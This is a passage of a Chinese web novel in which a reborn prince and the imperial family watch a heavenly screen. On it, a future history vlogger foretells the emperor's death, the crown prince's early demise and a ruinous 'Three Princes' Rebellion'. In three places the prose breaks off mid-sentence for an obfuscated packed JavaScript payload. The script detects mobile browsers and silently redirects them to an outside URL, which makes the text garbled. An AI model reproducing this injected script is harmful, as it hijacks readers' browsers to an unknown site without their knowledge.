《天幕说我篡位了?》 1. 家宴 宁德二十九年,冬。 京城昨夜刚下过一场雪,洋洋洒洒飘了一整夜,落在地上铺了近半寸。满城银装素裹,被冬日里的暖阳一晒,雪光熠熠,很是亮眼。 正所谓是瑞雪兆丰年——别管这雪是不是祥瑞之物吧,反正皇帝瞧见下雪了,只觉得心情甚好,神采飞扬。这心情好啊,那就得庆祝,紧接着便下旨召楚王一家进宫觐见。 此时正是要吃饭的时候,旨意一下,大家就知道是皇帝高兴,又想和自己的好兄弟聚一聚了。 当今陛下与楚王一母同胞,自先帝时就手足情深,更有楚王全力辅佐陛下登基的情分在,如今论起皇帝宠信,朝中无人出其左右。 只是吃一顿饭罢了,隔三差五总有一回,众臣没人觉得奇怪。 于是皇帝的好弟弟楚王带上自己的楚王妃,与刚回家没几天的楚王世子——也就是明昀,入宫赴宴。 马车里,明昀穿着一身新做的衣裳,是他娘精挑细选的布料、反复对比的颜色,外搭了件赤狐皮的大氅,雪一样白的头发简单束了发,红白相映倒显得他原本苍白的脸色有了些血气。打眼一看,很是喜庆。 唯一的缺点是,明昀觉得自己好像不太方便活动。 他抬抬胳膊,又弯弯腿,道:“我还是觉得这一身太厚了……” 明昀他娘楚王妃闻言眉梢一挑。 “……” 但话又说回来了,有一种冷是你妈觉得你冷。 明昀恍若无事地拢了拢袖子,不再提衣裳的事。 他知道这都是父母甚爱、又甚为忧心所致,并不会对他们体贴的举动感到厌烦。 明昀上辈子英年早逝,这辈子更是倒霉,刚一出生就把接生的稳婆吓得惊叫起来——他生来白发,没几天又发现瞳色也异于常人。这症状搁在几百年后还能浪漫地称呼一句“月亮宝宝”,但放在古代,一个不小心就会变成妖孽怪物,要被人喊打喊杀的。 所幸,人倒霉得久了,老天总要补偿他些好运道。 明昀这辈子的父母都不信鬼神之说,愧疚于把他生得体弱,将他当眼珠子疼。与他爹一母同胞的亲伯父皇帝也对他怜惜非常,叫上整个太医院去给他会诊。 哪怕太医院下了论断说他这生来白化并没有太多副作用,只是体弱、又要注意保护眼睛,精细些养着不会有损寿命,却又担忧他被人非议,和楚王商议了几句,就把他带进宫里和太子放一块儿养着。 这不,明昀今年刚刚年满十五,楚王上疏,认为他都长这么大了不能再和太子一起住了,皇帝才准许他回楚王府上小住半月。 ……然后又叫进宫里吃饭了。 明昀不由得喜滋滋地想,有这样的身世背景,这样的皇帝荣宠,岂不是能安稳当一辈子悠闲自在的宗亲吗! 上辈子想都不敢想的不劳而获、坐享其成——这辈子敢想了! 闲话间,马车已入了宫门。 宫道上的雪早已经被勤勤恳恳的宫人们打扫干净,石板之间的缝隙里也不见一点雪水泥垢。道旁的墙瓦上却特意留了积雪未扫,应着圣上兴致,给皇宫添些过冬的氛围。 明昀下了马车便自觉撑起伞遮阳,沿着宫道,熟门熟路地进了文德殿。 此处挨着宣政殿,时常被皇帝用来召见宗亲宴请娱乐。这地方楚王常来,而明昀过去长住宫中,对这里更为熟悉。 一进门,便有太监将他手中的伞接过去,另着人为他们上茶。 因是一时兴起的家宴,皇帝也不爱什么严苛的规矩,干脆趁着宣政殿挨得近,提早一步来了,此时正在后殿内自己与自己下棋,见楚王到了,随手扔下了手里的棋子,招呼楚王坐到自己跟前。 “陛下,礼不可废。” 楚王性子略显古板,带着自家人向皇帝行过礼,才在皇帝无奈的注视里在下首落座。 “你呀。”皇帝叹气。 叹完这一声,皇帝也就不说他了,这么多年都过来了,他早就习惯了自家弟弟这性格,除了惯着还能怎样呢? 他转眼就换了个话题。 “九弟先来尝尝这茶,是前日里小四外出游玩,给朕和皇后带回来的玩意儿。听说是在温泉山上养着,冬日才出芽呢。” 皇帝招呼完楚王,又看向明昀,笑眯眯地问道。 “昀儿也尝尝,可喝得惯啊?” 各种御赐好茶轮着喝了好几年也没品出来到底有多少差别的明昀闻言灌了一口,接着就开始盲目吹捧。 他口才比古板的楚王好得多,几句就把皇帝哄得更高兴了,大手一挥将这茶叶全数赏给了他。 “你这小子尽哄朕吧!朕还不知道你吗,”他笑道:“拿回家喝去吧,省的在朕这儿快把这茶苦的说成甜的了!” 明昀自然收下了这份赏赐。 虽说他品不明白,但至少知道这茶是四皇子献给皇帝讨欢心的,要么名贵,要么稀奇,不拿白不拿。 “那我就多谢皇伯父了。”明昀笑眯眯地谢恩。 — 半刻钟后,摆在文德殿里的宴席终于正式开场了。 因着只是寻常家宴,规制并不严谨。明昀悄悄扫视一圈,发现皇帝叫来的人也不多,妃嫔里只带了皇后,宗亲只有自家,诸位皇子公主也没来全,但人也不算少了。 一群人各自拜见过长辈们,这才三三俩俩落座。 宫人流水似的摆上珍馐佳肴,歌舞也在一旁奏起,歌舞升平,好不热闹。 明昀左手边是太子明昇,两个人挨着一起,借着乐曲声的遮掩,窃窃私语。 “我瞧着方才四弟那脸色不好看啊,” 太子瞥了眼对面坐着的四皇子,端起酒杯挡在嘴边,很有背后说人小话的自觉。 “这是谁又惹他了?” 明昀回想起方才见礼时四皇子僵硬却不得不强装亲切的表情,轻笑一声。 他也端起杯子,配合着压低声音:“巧了,是我惹他了。” 太子面露惊讶,似是没想到还有他的事。 “昀弟你最近不是一直宅在楚王府吗?何时又和四弟起了矛盾?” 不过不等明昀回答,太子脑子一转,已经自己想出了答案。 明昀自从半月前搬出东宫后,就一直待在楚王府中甚少出门,他又不用上朝会,与四皇子很难有机会碰面,更别说闹出事来了。 既然不是之前的事,就只能是今天的事了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408511|200612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 太子很快就想起了他听到过的传闻,传言说四皇子外出游学,在西南偶遇一座温泉环绕的仙山,云雾缭绕,四季如春。山顶上种的老茶树只有在冬日里才会出新芽,是顶顶少见的好东西,四皇子见之欣喜,将今年冬日产出的茶叶全买了,献给了皇帝。 虽不知道那仙山茶树是真是假,但既然四皇子献上去了、皇帝也没说不好,他还一副郁郁不乐的样子,原因便已经呼之欲出了。 太子笑道:“哦——是他那茶叶。” “父皇又赏给你了?” 明昀点头。 太子见状,笑容更盛,举起酒杯主动碰了碰明昀的酒杯杯沿。 “好弟弟,也算给你哥我出了口气。” 他这话说的很不客气,明昀却并不意外。 虽说太子之位早已定下,可不说本朝,历朝历代能顺利继位的太子都是少数,其他皇子面上兄友弟恭,心里怎么想的就不一定了。 四皇子此人二十有三,生母位居妃位,外家虽没什么势力,但也连出过了几代的进士。自己自出宫开府以来就立了个醉心诗书、热爱以文会友的时髦人设,结没结交朝臣不好说,可看太子这反应,私底下必定给太子找过麻烦事。 而明昀呢,他在尚不记事的年纪就入住东宫,是太子看着长大的。 正所谓近水楼台先得月,不管诸皇子如何争斗,到底是陛下册封过的太子最有可能登基,而明昀和太子有这份从小的情谊在,又何必舍近求远呢? 所有人都当他是太子党。 太子也不例外。 明昀听了他这话,无奈抬手,回敬了太子一杯。 同时谦虚地小声嘀咕:“我也没做什么,是皇伯父要赏我的……” 他这一抬手,太子却注意到了眼前瞥见的颜色似乎不对。垂眼一看,就见明昀酒杯里装的竟不是酒。 太子:“你这……又是什么果子饮?” 明昀闻言,特意拱手让他看了看杯中液体,接着姿态从容地抿了两口。 他答道:“橘子茶啊,皇兄尝尝吗?” 太子:“……罢了罢了,你向来体弱些,不喝酒也好。” 他随口一问便罢了,毕竟同住了十几年,早就知道他爱鼓捣这些东西。说罢就和明昀碰了杯,将杯中美酒一饮而尽。 只是宫人再斟酒时,他却不由得又看了眼四皇子的位置,心想:昀弟怎么这会儿不喝那茶呢? 当着四弟的面喝,肯定气死这装货了。 推杯换盏、谈笑往来间,殿内忽的响起一阵温和婉转、娓娓动听的琴音,原本奏着的曲子闻声而断。随着音阶跃动,这新曲子渐渐变得欢快、又随着鼓声阵阵猛地激昂起来。 “这曲子倒是新奇,莫非是内教坊排了新歌舞、要为陛下献艺吗?” 向来爱凑热闹的大皇子脸色通红,显然已醉了。他站起身来想去看看乐舞,却见角落里奏乐的乐师全都停了手,一脸惊诧。 被酒精蒙蔽的大脑还懵着没反应过来,门外守着的太监已经快步从外面窜了进来,扑通一下跪在地上,嗓音干哑,语调都在颤抖:“陛下!天上……天上有神迹呀!” 皇帝豁然起身。 2. 天幕 “什么?!” 在座众人皆哗然。 那太监神情惊惧,满头大汗,不像是胡说的。 众人见此情形,已然信了半分。 明昀乍一听此言,将信将疑。 可他转而一想,自己都胎穿成古人了,还不许别人整出个灵异事件了吗? 只是比起怪力乱神,有人故意为之、装神弄鬼更有些可信度罢了。毕竟他从小到大既没见过也没听说过真实的灵异神怪……十五年都过去了才说这是个灵异片场吗?那很小众了。 但话又说回来了,当今这位皇帝最讨厌的就是神鬼之流传闻。 三十年前皇帝用了点手段才登上皇位,十几年后,最忠心他的楚王就得了个“天罚报应”——他的王妃生下个白化子,简直是给看不惯皇帝的人一个最好写的爆炸性新闻素材,一时间京城里凭空出了好些不见身影的“得道高人”,张口就是君德有亏,闭口就是天理难容。 当然了,那些传闲话的人,后来都再也说不了话了。 有这样血雨腥风的先例在,难道还会有哪个蠢货再用此等手段争权吗? 他隐晦地扫视一圈在座的皇子,又觉得不至于——谁会用这种昏招啊。 可既然不是人为,难道是真的……? 唉,真难办。他只是穿成了个病怏怏的普通人类,拿灵异事件一点办法没有,总不能去招道士吧? 明昀不禁转头看了眼皇帝的方向。 上首的皇帝猛然站起了身,他爹楚王惊诧的表情还没收起,身体的反应却很是迅速,已经站起来挡在皇帝前侧方,以防不测。可皇帝也不是坐以待毙的性格,十分果断地疾步往门外去。 “陛下不可!”皇后眼疾手快地拽住了皇帝的袖子,劝道:“殿外还不知是何情形,万一伤了您怎么办!” “这天下哪有什么神神鬼鬼!” 皇帝神情凝重,斥道。 他不信这些,从前当皇子的时候不会信,当上了皇帝就更不会信了。若是天下真有神仙,那为什么没有报应不爽、天理昭彰?若是真有神仙,天下庶民又何须满朝诸公治理,都去求神拜佛好了! 皇后阻拦不及,楚王也自知劝说不动。 没法子,他赶忙叫侍卫围护着皇帝,自己也跟了上去。 最尊贵的那个已经身先士卒了,其余人自然也不能干坐着,明昀起身时一抬胳膊怼了怼太子,怔住的太子才回过神,忙不迭扔下酒水,三两下爬起来跟着跑出去。 明昀随大流一起去了殿外,心底的疑虑略显平复。 虽然不知道好好的古代剧场哪来的灵异事件,但天塌下来也是皇帝等人先着急,用不着他焦虑。 一群人哗啦啦挤到了门外。 抬头一望,苍蓝的天上亮着一片巨大的方形不明物,边框隐隐泛着白光,在白日里也清晰可见。光虽亮,却并不刺眼,不知是否有什么神通,即使挂在高远的天空也能叫每个人都看得清清楚楚。 那方形物里的东西才是最震撼人心之物,只见其上红底金字,红色的图画上是绵延着的重重群山与祥云纹,一条金龙盘旋穿插在祥云纹之间,隐隐约约的雾霭随着音乐起起伏伏,给这图样带上些神秘感。 压在图画上的文字笔走龙蛇,大气磅礴,写出的内容更是让人万分震撼—— 【上下五千年历史之、晋朝篇】。 “历史……”皇帝喃喃,原本略显震怒的脸色已经变得怔然。 其他人见状,皆大惊失色,有胆子小些的甚至惊叫出声来。 这天上之物,瞧着不像是人力所能及…… “当真是……当真是神迹啊!”不知是哪位皇子激动不已出了声。 明昀也懵了。 你怎么来真的啊?! 恰在此时,那东西忽的有了变化,随着激昂的音乐声渐渐平缓消失,金色的字迹也愈发浅淡,在字迹完全消失后,红色的底图从中间一分为二,露出后面的画面来。 那是一间摆着茶桌的房间,装点着屏风、梅枝,古香古色。桌后坐着个服装奇异的人,头发很短,上身穿着一件米白色的圆领半臂,制式却与现下时兴截然不同,胸前的部分还用奇怪的画法画了只橘色小猫。 古代人看了什么反应不好说,明昀见了却很熟悉。 能不熟悉吗?圆领T恤啊! 就连这“神迹”他看了也觉得眼熟——右上角竟然还挂着某视频网站的logo啊! 正在明昀恍惚间,视频里的博主开始了营业。 【“各位观众朋友们,大家好啊!欢迎来到小历的娱乐向历史科普系列~!” 那人笑容满面,端坐在茶桌之后,十分热情地招着手。 “距离上次更新已经过去好久了,朋友们有没有想我?” “上期视频,我们已经讲完了乾朝历史,那么从本期视频开始,就来给大家讲讲晋朝的故事吧——”】 一句话说完,天下哗然。 晋朝! 现在不就是晋朝吗! 天下不知凡几的人们全都被惊得目瞪口呆。原本忙于政务的官员三三两两聚在廊下一起看那天上神物,此时乍然被这话吓得相顾无言;冬日里农事不忙的百姓也哆哆嗦嗦地从屋里探出头来,畏惧地仰头去瞧;走商小贩、匠人力工……无论原本是在做什么,此时都已经被这神物的话惊得手足无措了。 神迹现世,是晋朝不好吗?亦或是做得很好、要有神仙褒奖? 天下人面面相觑。 身为小人物,他们不懂什么是历史,只怕天下不平、被殃及池鱼。 【小历又说道: “晋朝,是我国古代大一统朝代之一,自晋太祖登基建国到晋哀帝葬送祖业,一共经历373年,作为一个封建王朝来说已经是很长的寿命了,是过去古代辉煌的历史长河上格外璀璨的一段。小历我也很喜欢这个朝代,这次做视频我可是摩拳擦掌,找了很多资料呢。” “这个篇章也会分为几个大主题,为大家讲解晋朝几个最知名的时期、以及缔造这些时期的在位皇帝与大臣的故事,是不是很期待呢?”】 皇帝自看到天上那行字起就觉得自己脑袋嗡嗡的,天上那人一开口说话,皇帝就觉得更晕了。 “三百年……” 他脚步踉跄一下,紧跟在皇帝身后的太子连忙扶住皇帝,又听见他呢喃的词语,慌忙安抚:“父皇!父皇不必挂怀,是后人子弟无能……” 皇帝稳住身形,轻叹一声,只叫太子不必说了。 后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408512|200612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的事情他怎么管得着,就连后人亡国还是天上那神迹告诉他的呢……更何况又不是他亡了国,他更多的是对此乍然出现的奇异震撼之言的难以接受,心里却并不十分气愤。 三百七十多年,已经不短了。 比前朝长了近一倍呢。 皇帝缓过来那一阵儿惊吓之后,心里已经镇定下来。 左右又不是他做亡国之君,算算时间,那会儿都不知道是自己的第几代孙子了……以后叫太子多加教导后代也就罢了。 “无碍,”皇帝说道,“儿孙自有儿孙福,哪轮得到我来痛心呢。” 楚王见他并非为王朝颠覆而难受,便适时劝道:“皇兄豁达。不过想来这神迹既然出现,必有其目的,焉知不是我朝之幸呢?” 明昀听见楚王这一番话,从恍惚中回过神。 他上辈子没看过多少小说,也没听说过这种历史博主跑到正主面前做科普的。 可现实已经变得如此玄幻了,虽然不知道哪来的网站能把客户群体发展到古代,但至少现在他不用琢磨着去招聘道士了。 更别说他和皇帝一样,不是坐以待毙的性格。 明昀思及此处,心念一转,便下定了主意。 他对着缓过神来的皇帝拱手,笑道:“侄儿便先恭喜陛下了。” 皇帝转头看他:“哦?朕有何喜事啊?” 明昀道:“臣听那神迹中人所说的话,此人应是后世之人讲述历史。” “自古以史可以明鉴,便知过失兴替。如今既有神迹讲史,过去之事无法更改,却可知未来而先行。不论神迹讲述何时何事,总有我等可以触及之事,若能知何时有旱灾就可先行组织赈灾,若能知道何处有贪佞也可提前阻止,以免其鱼肉百姓为祸乡亲,使天下百姓更得安生,正如我父王所说,焉知不是喜事呢?” 他笑容不变,语调也甚为轻快。 自家人知道自家事,他确信楚王府遵纪守法、没有可以指摘的地方,就算把史书搬上视频网站也轮不到他家这小小闲散宗室出场。 既然如此,他也就不介意借这“神迹”之力惊一惊藏身草丛里的毒蛇,省的总有人在背地里做些阴险事。 皇帝闻言,原本凝重的神情逐渐放松,眉目间露出思索的意味,片刻后笑道。 “所言极是啊!” “既如此,就看看这神迹要讲什么吧!” 那博主几句话间,众人都已经摸清楚了这神迹并非仙人下凡,只是后人讲学不知为何出现在这,本身并无危险。又有明昀这一番话在,皇帝整个人都轻松下来。 他干脆让宫人将桌椅搬到不远的廊下去,既能遮阳,又能看清天空,正是个绝佳的观赏之地。 趁此间隙,楚王顺势向皇帝禀报,建议差使侍卫去宫外打探打探,以免天下人不知情形,恐慌之下闹出事来。 皇帝欣慰点头,还是他九弟最得用啊! 这边众人还未落座,那边天上的博主话也没停。 【小历一副自信满满的表情,道:“首先来到本篇章第一个主题!” “我知道大家都想看什么,一说到晋朝,最值得一说的话题必然就是那位——于大厦将倾之时力挽狂澜给晋朝续上命的一代传奇明君、晋文帝!”】 3. 文帝 “文帝!” 大皇子一惊一乍地大声叹道。 明昀刚坐下半截,身体还没挨着凳子,赶忙又站了起来,拽住太子的袖子,悄悄和他互换了位置。 唉,这人声音真大。 大皇子向来尚武,虎背熊腰,声如洪钟。就连上学时也更爱听夫子讲将军兵法。 奈何当今在位时晋朝都建了百年了,自太祖时算起,当今宁德帝是第五个皇帝,承太宗之治,到现在已经国泰民安,内少见民乱,外也无强敌,实在没有非要一个皇子上阵前线的必要。 既然打不了仗,他也就只能在自己府里舞刀弄枪,找人切磋切磋过过瘾。 用太子的话来说,四皇子整日附庸风雅,整个儿一装货;大皇子满脑子暴力美学,就是个纯种的莽夫。 明昀只觉得吵闹。 “经天纬地曰文,这后人倒是能力卓绝。” 皇帝懒得理会自己那个毛毛躁躁的大儿子,转头对太子说道。 “就是不知道是你哪一代的子孙了。” 经历过亡国预告的皇帝觉得自己已经见识过了大场面,此时乍一听见什么大厦将倾的言论也没丁点儿反应。 大厦将倾,那不是没倾吗?没倾那着什么急! “儿臣惭愧。”太子在皇帝面前很是谦卑,拱手说道。 他也不敢把话说得太满。文帝是很好,但前面那个坏的说不定也是他的种啊。 【小历又道: “那这时候有人就要问了——小历小历,为什么说晋朝最值得一看的是晋文帝呀?”】 话音刚落,众人就见天上那人说完这句话就忽的向前探身,同时一巴掌猛地拍在了茶桌上。 “啪”的一声脆响,如同惊堂木一般响亮,很是醒神。 【“那小历我可要批评你不好好学习了!能问出这种问题的同学们初中是不是都没有好好学历史啊!真让小历痛心疾首啊!” 小历摔坐回座位上,狠狠拍拍自己的胸口。 “但凡看看历史课本上关于晋文帝的篇幅有多少,都说不出来这样的话!” “历史课本上晋朝其他皇帝的知识点全加在一起,也没有天和盛世的字儿多!”】 “嚯。”明昀低声感叹。 上过现代初高中历史课的明昀深知这份含金量。 其他人对“初中”这些东西多少感到些不明所以,但联系上下文都听得出来小历的意思。 “一群人还不如他一个人?”大皇子惊叹。 【“说到这里,有些同学又要问了——那到底为什么关于晋文帝的知识点那么多呢?他真的有那么厉害吗?” 小历掐着嗓子做作地换了种声音提问,接着自问自答道: “是的,是的同学们,晋文帝真的有那么厉害!” “纵观他的前半生,二十多岁就能平定三皇之乱、仓促登基后重整朝纲,一手抓打仗、一手抓农业、一手抓经济、一手还要改革制度,另外腾出来一只手发展医学,还都做出来了好成绩,简直是大晋特邀千手观音来的。” “后半生就更了不得了,治下家家有余粮,人人看得起病;铸就盛世,万国来朝,怪不得人家庙号世祖呢——这是能将晋朝这个岌岌可危的国家重塑,甚至塑造得比原来更加辉煌的人才啊!”】 “竟有如此明君?” 太子低声喃喃。 没有人应他的话,所有人都沉浸在思绪之中,思索着这位晋文帝的事迹。 【“唉,想想小历我二十多岁的时候,大学都还没读完呢。”小历摇摇头,“真是人比人气死人。” “闲话就不多说——想必经过刚刚的介绍,大家也对晋文帝的故事十分好奇吧?” 小历神秘一笑,一挥手就带起一个绚丽的转场特效。 “那么就让我们进入正题——这位造就了大名鼎鼎的天和盛世的人,究竟是怎么走到这一步的呢?” “这就要从最开始讲起了,文帝年幼时,在位的还是晋朝的第五任皇帝。” “可能有很多人没听过这位——他是晋显宗明呈治,年号宁德,是为宁德帝。” 转场后,一片片古籍文字介绍起了宁德帝的信息。 】 “这!陛下!” 楚王大惊,不由得看向皇帝。 不止是楚王,在场所有人都震惊不已,连皇帝自己也控制不住神情,显露出十足十的惊讶。 他原还在沉思那初中大学是什么情形,蓦地听见自己的名字,如梦惊醒。 震惊之余,又有些明悟。 难怪是他这时出现了神迹…… “没想到这文帝就在朕眼皮底下。”皇帝说道,“可惜这神迹尚未言明其名啊。” 他不由得看向自己的一众子嗣,在太子身上停顿了几秒,又看向了大皇子、四皇子、五、六…… 看着看着,皇帝的目光便不由得沉了下去。 他早先就已经注意到了那句“三皇之乱”,原本不以为意,毕竟不知几十年后的小崽子闹出来的事,和他有什么关系? 但现在一看,呵!这三皇之乱听名字就知道定然是有皇室子弟参与! 文帝还不知道在哪呢!败家子说不定已经在其中了! 越想越气,皇帝一甩手将手里的茶杯摔了出去,玉白的汝窑瓷砸在地上叮当作响,碎片飞溅。 众皇子见皇帝忽然发怒,识趣地齐刷刷跪下。 太子跪在中间,脑子里却还有些混乱。他听到自己父皇的名字时便控制不住去琢磨晋文帝的身份……越想越觉得脑袋里热血沸腾。 他不觉得自己会是大乱天下的那个,他名分最正,何必争得那么难看?也就是其他装模作样的兄弟最觊觎他的位置,惹出事来……也不足为奇。 余光瞥见四皇子等人佯装出的担忧心焦,心中更为肯定自己的猜测。 他是太子啊! 兄弟惹出事来他再平乱登位,难道还有谁比他更正统吗?! 四皇子跪在太子侧后方,看见太子那副有恃无恐的样子,在心底冷笑连连。 就这样的货色来当太子?还不如他呢! 旁边,明昀也随了大流跪下,见皇帝神色晦暗,不由得疑惑。 听见晋文帝就在他之后,皇帝怎么还不高兴呢?皇帝的庙号好像是显……总不能是见不得别人比他好吧? 他悄悄抬起眼瞧瞧,就见皇帝盯着诸皇子看。 明昀略一思索,立刻明白了皇帝的想法。 是怀疑皇子争位政变才“大厦将倾”啊,这怀疑实在是很有道理。 皇帝自己就是经历过的,自然知道皇子夺位疯起来能有多激烈。 可即使皇帝把他养在东宫就已经有了那种意思,他一个不该站位的宗室子也还是不好掺和这种话题,只好借着冬装宽敞,悄悄在底下拽了拽太子的袖角。 太子虽想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408513|200612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得多,但也不过是瞬息之间,此时被明昀拽了一把就恍然回神,慌忙开口:“父皇息怒!” 他想劝点什么,可心里光想着文帝青史留名了,连皇帝为什么生气还没弄清楚。 冷汗都冒出来了才逼出急智,灵光一闪就要开口请罪。 偏在此时,那神迹上放出的字已经过完了特效动画,展现出来了最后一行。 【“晋显宗……年号宁德……在位三十二年。”】 皇帝的怒火戛然而止。 太子的争辩自然也卡在了喉咙里。 廊下静了几秒,紧接着就是皇后冲到了皇帝身边,略有些紧张的声音颤抖着询问他是否叫太医来看看。 皇帝还没说话,楚王也道:“陛下!还请叫太医来问诊吧!” 皇帝一噎,紧接着明昀也接话:“皇伯父,切勿讳疾忌医啊。” 皇帝的贴身太监小跑着去请太医了。 众人急急忙忙地围过来关心,其中明昀与众公主们最为真诚。 毕竟皇帝一去,皇子们还能斗成史书留名的乱事,他们可就指望新帝让他们安稳度日呢。 明昀不禁暗叹一声,皇帝死时他都还没及冠呢……幸好现在有了天上这视频剧透,想必三皇之乱不会再发生,他成年即退休的美好愿景还有实现的机会。 【画面一转,小历重新回到众人眼前。 “宁德帝早年淘汰掉了其他兄弟才得以登位,也许是因为自己淋过雨就想给儿子撑把伞,在位后想要顺利过渡到下一代,早早立下继承人,直到去世都没有更换过太子。 但是咱也不知道他咋想的,年轻时立太子那叫一个果断,老了却含糊起来了。想让太子继位却不干脆按死其他儿子的野心,难道是想要借此历练太子吗?阿爸阿爸,这伞咋还漏水啊?” “不过不论过程如何,最后的结果还是如他所期望的那样,宁德帝死后,太子顺利继位。” 】 太子闻言,身形一颤,不知道是激动还是伤心没了爹。 几个皇子抬头看天,既困惑又不忿。 大皇子可不在乎什么伞不伞的,在他看来太子已立,皇帝的意思不就很明白了吗?也就是他其他几个弟弟不死心,才觉得有一争之力。更何况后来太子都已经登基了,更没有争的必要。 自古以来,哪有藩王当得上皇帝的? 他向来直来直往,心里头有话立刻就蹦了出来:“既然是三弟即位,那又何来的乱子呢?莫非那三皇之乱的罪魁祸首是三弟的子嗣?” 太子:“这……” 可他现在只有一个尚未出世的孩子,还在太子妃肚子里呢! 方才他还觉得那文帝说不定是他自己,即使不是,得知了要有兄弟谋乱后他也可以是,可他既然能顺利继位……莫非真是他的长子? 按照小历所说,宁德年间文帝应该已经出生了。 皇帝闻言,却不觉得是太子之子。他又阴沉沉扫视一圈众皇子,目光所及之人全都低下了头。 【“可惜的是,宁德帝想要阖家欢的理想最终还是破灭了。” “宁德末年也成为了自太宗到宁德这一繁盛时期的落幕时刻。” 小历摇头叹息。 “宁德三十二年冬,宁德帝去世,次年太子明昇即位,改元永兴。永兴元年十月,太子就去世了,连自己当皇帝的第一个新年都没过上。”】 小历言毕,太子如遭雷劈。 4. 太子 “快给太子看看!” 鞋都要跑掉了才赶过来的太医气都没喘匀,刚要跪下行礼就被皇帝挥手免了礼,转头就被拽到了太子跟前,紧接着就见皇后也跟了过来,盯着他催促诊脉。 皇帝皱着眉,心情比刚才更差了。 他已经五十多岁了,就算是寿数将尽也还合乎情理。可太子才二十多岁,连子嗣都还没有呢……怎么死那么早! 算算时间,太子死时就算已有了长子,也只是个不知事的稚龄小儿,一旦继位不是太后听政就是权臣当道——还有一群虎视眈眈、年龄正好的叔叔,怪不得后头乱起来了! 余光瞧见围在太子一侧慰问的明昀,皇帝心里责备更甚。 他把楚王这唯一的孩子养在东宫,不就是怕他驾崩了之后明昀无人关照、受人欺负吗?这下好了,有那样的疾病缠身的明昀没事,当哥哥的那个反倒先死了! 皇帝恨铁不成钢地狠狠瞪了太子一眼。 他全然不在意小历那一句雨伞漏水的比喻。太子算不上天资聪颖,可做个守成之君也足够了,在太子继位之前教他怎么处理政务,让他见识见识朝堂争斗,多正常的事情,干嘛说得他像个无情的爹一样! 太医擦了把汗,抖着手去给太子诊脉。 这神迹就在头顶上,方便得很,都不用患者家属说明情况,太医来的路上就同样知道了太子早逝之事,此时屏息凝神仔细诊断,反反复复确认了几遍,才敢对上首的皇帝回禀。 “陛下,太子殿下身体康健啊!” 皇帝闻言,皱紧了眉。 太子的文帝梦彻底碎了,这一碎,他又从飘飘欲仙的状态落回到了地上,不得不认清现实。 他听完了太医的禀告,欲哭无泪地对皇帝一拱手,说道:“父皇,儿臣也觉得儿臣身体无碍……虽不知那时的儿臣因何而去,但到底有儿臣一份的罪责,酿成大祸,实在愧对父皇教导。” 说罢便跪了下去,以示诚心。 皇帝紧皱的眉头微微松动,而后叹了口气。 “罢了,你起来吧。” “生死之事谁又能说得准呢。”皇帝道,神情中却并非完全这样认为。 明昀看着皇帝与太子这番互动,心想确实。 如果有人能准确地知道另一个人能活多久,那他要么是神医,要么是凶手。 【“太子死后——不对,不该叫太子了。” 小历从容地说着让太子心碎的话。 “永兴帝在位时间实在太短,后面又被换了好几个谥号,即使现代历史学家们都一致认同文帝定下的那个,但还是太多了,想必大家也记不住,这里就以年号称呼吧。” 小历道:“永兴帝在位时没什么功绩也没什么过错,毕竟才几个月,光给先帝守孝了,政务上也延续先帝制度,实在没什么好说的。” “但在历史课上,永兴帝的死亡还挺重要的,因为他的死标志着另一件事真正站到了明面上。”小历悠哉悠哉给自己倒了杯茶,把天下人急得要命。 “是的,是的,三皇之乱堂堂登场。” “你看看,皇帝死了,他的儿子刚开始启蒙,人都认不明白更别说认字了,谁甘心让这么个小孩当新皇帝呢?”】 皇帝气得又摔了个茶杯。 这话说出来气人,却很有道理。永兴帝驾崩确实很突然,可总要有新的皇帝上去吧,不然大家听谁的呢? 【“三皇之乱也是历史上颇为闻名的乱事了,三年换了四个皇帝,朝臣死了十之六七,京城里风声鹤唳,家家服孝,满城素白,地方脱离朝廷管辖,蛮夷也趁此机会攻打边疆,可谓是离灭国就差临门一脚了。” “这种情况还能被文帝救回来,只能说文帝实在是天生做这个的料啊,换我我可不行。” 小历喝着茶叹息道。】 皇帝彻底怒了。 这事儿说到现在已经用不着去思考了,太子死的时候离现在也就四年,太子的孩子年龄太小,就算是皇子中年纪最大的大皇子的孩子也才十多岁,能牵扯进夺位的人选只有这些皇子们。 宗室?皇帝上位后就再没有宗室在朝中任职了,除了楚王,其他宗室怕是连朝廷命官都不熟。 皇帝从未考虑过宗室篡位的可能性——比起他的儿子,宗室篡位的难度翻倍见长,更在名声上天然不被待见。 “看看你们干的好事!”皇帝大怒道。 他抬手还想摔点什么,手边却已经没有了茶盏,只好来回踱步消减消减火气。 